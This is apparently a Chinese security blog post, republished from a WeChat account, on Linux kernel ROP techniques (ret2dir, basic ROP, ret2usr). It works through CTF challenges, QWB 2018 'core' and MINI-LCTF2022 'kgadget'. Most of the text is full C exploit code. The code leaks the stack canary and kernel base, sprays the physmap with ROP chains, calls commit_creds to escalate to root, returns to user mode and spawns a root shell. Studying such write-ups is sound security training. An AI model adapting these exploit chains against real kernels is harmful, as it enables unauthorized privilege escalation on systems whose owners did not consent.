KernelROP
01
KernelROP
ret2dir
在Linux内核内存布局中,有一段direct mapping area,映射了整个物理内存空间,
也就是说,对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址A与内核空间地址A‘到该物理页框的映射,即我们访问A和A’实际是访问的同一个物理页框。内核可以通过direct mapping area来对用户空间进行访问,从而绕过SMAP/SMEP,PXN等保护
ret2dir通常利用手法:
旧版本下,我们在用户空间中布置的gagdet可以通过direct mapping area上的地址在内核空间中访问
新版本的内核,direct mapping area已经不具备可执行权限,我们已经无法通过布置shellcode的方式来利用
但是我们依旧可以在在用户态布置ROP链子的方式利用
常规ret2dir的攻击手法:
• 利用mmap在用户空间喷射大量内存
• 利用漏洞泄露内核的堆地址(kamlloc返回的地址),这个地址直接位于direct mapping area
• 利用泄露的地址在direct mapping area 进行内存搜索,找到我们在用户空间喷射的内存,这样我们就获得了一个映射到用户空间的内核空间地址,内核可以通过这个地址直接访问用户数据,从而绕过传统的隔绝手段
实际上,我们很少能有进行内存搜索的机会,通常在利用过程中,我们在mmap喷射大量内存的同时需要写入大量相同的payload,之后随机挑选一个位于direct mapping area 的地址进行“命中”
例题 MINI-LCTF2022-kgagdet
考点:mmap堆喷射,内核栈迁移,ret2dir
复现环境:ubuntu20.04 qemu7.2
题目开启了SMAP和SMEP保护,ret2usr失效
1__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
2{
3 void (__fastcall **v3)(void *, _QWORD); // rdx
4 void (__fastcall *v4)(void *, _QWORD); // rbx
5 void (__fastcall *v5)(void *, _QWORD); // rsi
6
7 _fentry__(__file, *(_QWORD *)&cmd);
8 if ( cmd == 0x1BF52 )
9 {
10 v4 = *v3;
11 v5 = *v3;
12 printk(&unk_370);
13 printk(&unk_3A0);
14 qmemcpy(
15 (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
16 "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
17 48);
18 *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = '3abnttra';
19 printk(&unk_3F8);
20 v4(&unk_3F8, v5); // mov rbx,[rdx]
21 // call rbx
22 return 0LL;
23 }
24 else
25 {
26 printk(&unk_420);
27 return -1LL;
28 }
29}
call [rdx]
1physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
2build_rop(physmap_arry[0]);
3for(int i=1;i<15000;i++)
4{
5 physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
6 if(physmap_arry[i]==NULL)
7 {
8 puts("[*] mmap error!");
9 exit(1);
10 }
11 memcpy(physmap_arry[i],physmap_arry[0],page_size);
12}
1add rsp,0xa0;
2pop rbx;
3pop r12;
4pop r13;
5pop rbp;
6ret;
1void build_rop(size_t *rop)
2{
3 int i=0;
4 for(;i<(page_size/8-0x30);i++)
5 {
6 rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
7 }
8 for(;i<(page_size/8-0x10);i++)
9 {
10 rop[i]=ret;
11 }
12 rop[i++]=pop_rdi_ret;
13 rop[i++]=init_cred;
14 rop[i++]=commit_creds;
15 rop[i++]=swapgs_restore_regs_and_return_to_usermode;
16 rop[i++]=0xdeadbeefdeadbeef;
17 rop[i++]=0xdeadbeefdeadbeef;
18 rop[i++]=(size_t)get_root_shell;
19 rop[i++]=user_cs;
20 rop[i++]=user_rflags;
21 rop[i++]=user_sp;
22 rop[i++]=user_ss;
23
24}
1 mov r15, 0xbeefdead;
2 mov r14, 0x11111111;
3 mov r13, 0x22222222;
4 mov r12, 0x33333333;
5 mov rbp, 0x44444444;
6 mov rbx, 0x55555555;
7 mov r11, 0x66666666;
8 mov r10, 0x77777777;
9 mov r9, pop_rsp_ret;
10 mov r8, try_hit;
11 mov rax, 0x10;
12 mov rcx, 0xaaaaaaaa;
1#define _GNU_SOURCE
2#include<unistd.h>
3#include <fcntl.h>
4#include <stdio.h>
5#include <stdlib.h>
6#include <string.h>
7#include <sys/mman.h>
8#include<sys/types.h>
9
10size_t pop_rdi_ret=0xffffffff8108c6f0;
11size_t pop_rsp_ret = 0xffffffff811483d0;
12size_t ret = 0xffffffff8108c6f1;
13size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
14size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
15
16size_t commit_creds=0xffffffff810c92e0;
17
18size_t init_cred=0xffffffff82a6b700;
19
20size_t kernel_base=0xffffffff81000000;
21
22size_t *physmap_arry[16000];
23size_t page_size;
24
25size_t try_hit;
26
27int dev_fd;
28
29size_t user_cs,user_ss,user_rflags,user_sp;
30void save_status(void)
31{
32 __asm__(
33 "mov user_cs,cs;"
34 "mov user_ss,ss;"
35 "mov user_sp,rsp;"
36 "pushf;"
37 "pop user_rflags;"
38 );
39 printf(" 33[34m 33[1m[*] Status has been saved. 33[0mn");
40}
41void get_root_shell(void)
42{
43 puts("[*] try to get the root shell...");
44 if(getuid()!=0)
45 {
46 printf(" 33[34m 33[1m[*] Failed to get the root shell. 33[0mn");
47 exit(1);
48 }
49 printf(" 33[34m 33[1m[*] Success to get the root shell. 33[0mn");
50 system("/bin/sh");
51 exit(0);
52}
53void build_rop(size_t *rop)
54{
55 int i=0;
56 for(;i<(page_size/8-0x30);i++)
57 {
58 rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
59 }
60 for(;i<(page_size/8-0x10);i++)
61 {
62 rop[i]=ret;
63 }
64 rop[i++]=pop_rdi_ret;
65 rop[i++]=init_cred;
66 rop[i++]=commit_creds;
67 rop[i++]=swapgs_restore_regs_and_return_to_usermode;
68 rop[i++]=0xdeadbeefdeadbeef;
69 rop[i++]=0xdeadbeefdeadbeef;
70 rop[i++]=(size_t)get_root_shell;
71 rop[i++]=user_cs;
72 rop[i++]=user_rflags;
73 rop[i++]=user_sp;
74 rop[i++]=user_ss;
75
76}
77int main()
78{
79 save_status();
80 dev_fd=open("/dev/kgadget",O_RDWR);
81 if(dev_fd<0)
82 {
83 printf(" 33[34m 33[1m[*] Failed to open the dev");
84 exit(1);
85 }
86 page_size=sysconf(_SC_PAGESIZE);
87
88 physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
89 build_rop(physmap_arry[0]);
90 puts("[*] Spraying physmap...");
91 for(int i=1;i<15000;i++)
92 {
93 physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
94 if(physmap_arry[i]==NULL)
95 {
96 puts("[*] mmap error!");
97 exit(1);
98 }
99 memcpy(physmap_arry[i],physmap_arry[0],page_size);
100 }
101 puts("[*] build rop completed.");
102 sleep(5);
103 try_hit=0xffff888000000000 + 0x7000000;
104 __asm__(
105 "mov r15, 0xbeefdead;"
106 "mov r14, 0x11111111;"
107 "mov r13, 0x22222222;"
108 "mov r12, 0x33333333;"
109 "mov rbp, 0x44444444;"
110 "mov rbx, 0x55555555;"
111 "mov r11, 0x66666666;"
112 "mov r10, 0x77777777;"
113 "mov r9, pop_rsp_ret;"
114 "mov r8, try_hit;"
115 "mov rax, 0x10;"
116 "mov rcx, 0xaaaaaaaa;"
117 );
118 ioctl(dev_fd,0x1bf52,try_hit);
119}
02
KernelROP
basicROP
Last edited time: May 13, 2023 1:00 PM Owner: Anonymous
2018-强网杯-core
1sp:rip
2sp+8:我们想要执行的gagdet地址
3sp+0x10:gadget
因此必须要有一条pop指令清空rip,才能ret到我们想要的gagdet
此外,有个size检测,具体看exp和ida即可
exp:
1#include<stdio.h>
2#include<stdlib.h>
3#include<string.h>
4#include<unistd.h>
5#include<fcntl.h>
6#include<sys/types.h>
7
8#define POP_RDI_RET 0xffffffff81000b2f
9#define POP_RDX_RET 0xffffffff810a0f49
10#define POP_RCX_RET 0xffffffff81021e53
11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
12
13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
14#define IRETQ 0xffffffff81050ac2
15
16#define no_aslr_kernel_base 0xffffffff81000000
17
18size_t commit_creds=NULL;
19size_t prepare_kernel_cred=NULL;
20
21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
22
23size_t aslr_kernel_base=NULL;
24
25void print(char *str)
26{
27 char *format=" 33[34m 33[1m[*] %s 33[0mn";
28 printf(format,str);
29}
30
31void saveStatus()
32{
33 __asm__(
34 "mov user_cs, cs;"
35 "mov user_ss, ss;"
36 "mov user_sp, rsp;"
37 "pushf;"
38 "pop user_rflags;"
39 );
40}
41void get_root()
42{
43 if(getuid())
44 {
45 print("Failed to get the root!");
46 exit(-1);
47 }
48 print("Success to get the root shell!");
49 system("/bin/sh");
50}
51void core_read(int fd,char *buf)
52{
53 ioctl(fd,0x6677889B,buf);
54}
55void core_setoff(int fd,size_t off)
56{
57 ioctl(fd,0x6677889C,off);
58}
59void core_copy_func(int fd,size_t nbytes)
60{
61 ioctl(fd,0x6677889A,nbytes);
62}
63int main()
64{
65 print("Start to expliot...");
66 saveStatus();
67 print("Opening /proc/core...");
68
69 int fd=open("/proc/core",2);
70 if(fd<0)
71 {
72 print("Can not open the /proc/core...");
73 exit(-1);
74 }
75
76 print("Opening /tmp/kallsyms...");
77
78 FILE* sym_table=fopen("/tmp/kallsyms","r");
79 if(sym_table==NULL)
80 {
81 print("Can not open the /temp/kallsyms...");
82 exit(-1);
83 }
84 char buf[0x50],type[0x10];
85 size_t addr=NULL;
86 while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
87 {
88 if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
89 {
90 break;
91 }
92 if(strcmp(buf,"commit_creds")==0)
93 {
94 commit_creds=addr;
95 print("Success to get the address of commit_creds:");
96 printf("%pn",commit_creds);
97 continue;
98 }
99 if(strcmp(buf,"prepare_kernel_cred")==0)
100 {
101 prepare_kernel_cred=addr;
102 print("Success to get the address of prepare_kernel_cred:");
103 printf("%pn",prepare_kernel_cred);
104 continue;
105 }
106 }
107 aslr_kernel_base=commit_creds-0x9c8e0;
108 print("Success to get the address of kernel base:");
109 printf("%pn",aslr_kernel_base);
110 size_t offset=aslr_kernel_base-no_aslr_kernel_base;
111 print("Success to get the aslr value:");
112 printf("%pn",offset);
113
114 size_t canary=NULL;
115 core_setoff(fd,0X40);
116 core_read(fd,buf);
117 canary=((size_t *)buf)[0];
118 print("Success to get the canary:");
119 printf("%pn",canary);
120 int i=0;
121 size_t rop[0x100];
122 for(; i < 10;i++)
123 rop[i] = canary;
124 //prepare_kernel_cred(NULL);
125 rop[i++]=POP_RDI_RET+offset;
126 rop[i++]=0;
127 rop[i++]=prepare_kernel_cred;
128 //commit_creds(prepare(NULL));
129 rop[i++]=POP_RDX_RET+offset;
130 rop[i++]=POP_RCX_RET+offset;//清理call指令压入的垃圾指令
131 rop[i++]=MOV_RDI_RAX_CALL_RDX+offset;
132 rop[i++]=commit_creds;
133 //back to user
134 rop[i++]=SWAPGS_POPFQ_RET+offset;
135 rop[i++]=0;
136 rop[i++]=IRETQ+offset;
137 rop[i++]=(size_t)get_root;
138 rop[i++]=user_cs;
139 rop[i++]=user_rflags;
140 rop[i++]=user_sp;
141 rop[i++]=user_ss;
142 write(fd,rop,0x800);
143 core_copy_func(fd,0xffffffffffff0000|(0x100));//结合IDA查看绕过
144}
03
KernelROP
ret2usr
Last edited time: May 6, 2023 4:56 PM Owner: Anonymous
未开启SMAP/SMEP保护时,内核态可以访问用户态的空间
exp中用户态调用commit_creds(prepare_kernel_cred(NULL)) 函数
在内核态布置ROP链子跳转到用户态的函数
在内核态下调用用户态中的函数提权
然后再回到用户态起root shell
强网杯2018-core ret2usr的打法
1#include<stdio.h>
2#include<stdlib.h>
3#include<string.h>
4#include<unistd.h>
5#include<fcntl.h>
6#include<sys/types.h>
7
8#define POP_RDI_RET 0xffffffff81000b2f
9#define POP_RDX_RET 0xffffffff810a0f49
10#define POP_RCX_RET 0xffffffff81021e53
11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
12
13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
14#define IRETQ 0xffffffff81050ac2
15
16#define no_aslr_kernel_base 0xffffffff81000000
17
18size_t commit_creds=NULL;
19size_t prepare_kernel_cred=NULL;
20
21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
22
23size_t aslr_kernel_base=NULL;
24
25void print(char *str)
26{
27 char *format=" 33[34m 33[1m[*] %s 33[0mn";
28 printf(format,str);
29}
30
31void saveStatus()
32{
33 __asm__(
34 "mov user_cs, cs;"
35 "mov user_ss, ss;"
36 "mov user_sp, rsp;"
37 "pushf;"
38 "pop user_rflags;"
39 );
40}
41void get_root()
42{
43 if(getuid())
44 {
45 print("Failed to get the root!");
46 exit(-1);
47 }
48 print("Success to get the root shell!");
49 system("/bin/sh");
50}
51void ret2usr()
52{
53 void * (*prepare_kernel_cred_ptr)(void *)=prepare_kernel_cred;
54 int (*commit_creds_ptr)(void *)=commit_creds;
55 (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
56}
57void core_read(int fd,char *buf)
58{
59 ioctl(fd,0x6677889B,buf);
60}
61void core_setoff(int fd,size_t off)
62{
63 ioctl(fd,0x6677889C,off);
64}
65void core_copy_func(int fd,size_t nbytes)
66{
67 ioctl(fd,0x6677889A,nbytes);
68}
69int main()
70{
71 print("Start to expliot...");
72 saveStatus();
73 print("Opening /proc/core...");
74
75 int fd=open("/proc/core",2);
76 if(fd<0)
77 {
78 print("Can not open the /proc/core...");
79 exit(-1);
80 }
81
82 print("Opening /tmp/kallsyms...");
83
84 FILE* sym_table=fopen("/tmp/kallsyms","r");
85 if(sym_table==NULL)
86 {
87 print("Can not open the /temp/kallsyms...");
88 exit(-1);
89 }
90 char buf[0x50],type[0x10];
91 size_t addr=NULL;
92 while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
93 {
94 if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
95 {
96 break;
97 }
98 if(strcmp(buf,"commit_creds")==0)
99 {
100 commit_creds=addr;
101 print("Success to get the address of commit_creds:");
102 printf("%pn",commit_creds);
103 continue;
104 }
105 if(strcmp(buf,"prepare_kernel_cred")==0)
106 {
107 prepare_kernel_cred=addr;
108 print("Success to get the address of prepare_kernel_cred:");
109 printf("%pn",prepare_kernel_cred);
110 continue;
111 }
112 }
113 aslr_kernel_base=commit_creds-0x9c8e0;
114 print("Success to get the address of kernel base:");
115 printf("%pn",aslr_kernel_base);
116 size_t offset=aslr_kernel_base-no_aslr_kernel_base;
117 print("Success to get the aslr value:");
118 printf("%pn",offset);
119
120 size_t canary=NULL;
121 core_setoff(fd,0X40);
122 core_read(fd,buf);
123 canary=((size_t *)buf)[0];
124 print("Success to get the canary:");
125 printf("%pn",canary);
126 int i=0;
127 size_t rop[0x100];
128 for(; i < 10;i++)
129 rop[i] = canary;
130 rop[i++]=(size_t)ret2usr;//在内核态下跳转到用户态函数执行提权函数
131 rop[i++]=SWAPGS_POPFQ_RET+offset;
132 rop[i++]=0;
133 rop[i++]=IRETQ+offset;
134 rop[i++]=(size_t)get_root;
135 rop[i++]=user_cs;
136 rop[i++]=user_rflags;
137 rop[i++]=user_sp;
138 rop[i++]=user_ss;
139 write(fd,rop,0x800);
140 core_copy_func(fd,0xffffffffffff0000|(0x100));
141}
这次的分享到这里就结束了
我们下期再见啦!!
想学习更多知识
长按下方的二维码关注我们哦
原文始发于微信公众号(SKSEC):【表哥有话说 第89期】KernelROP
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论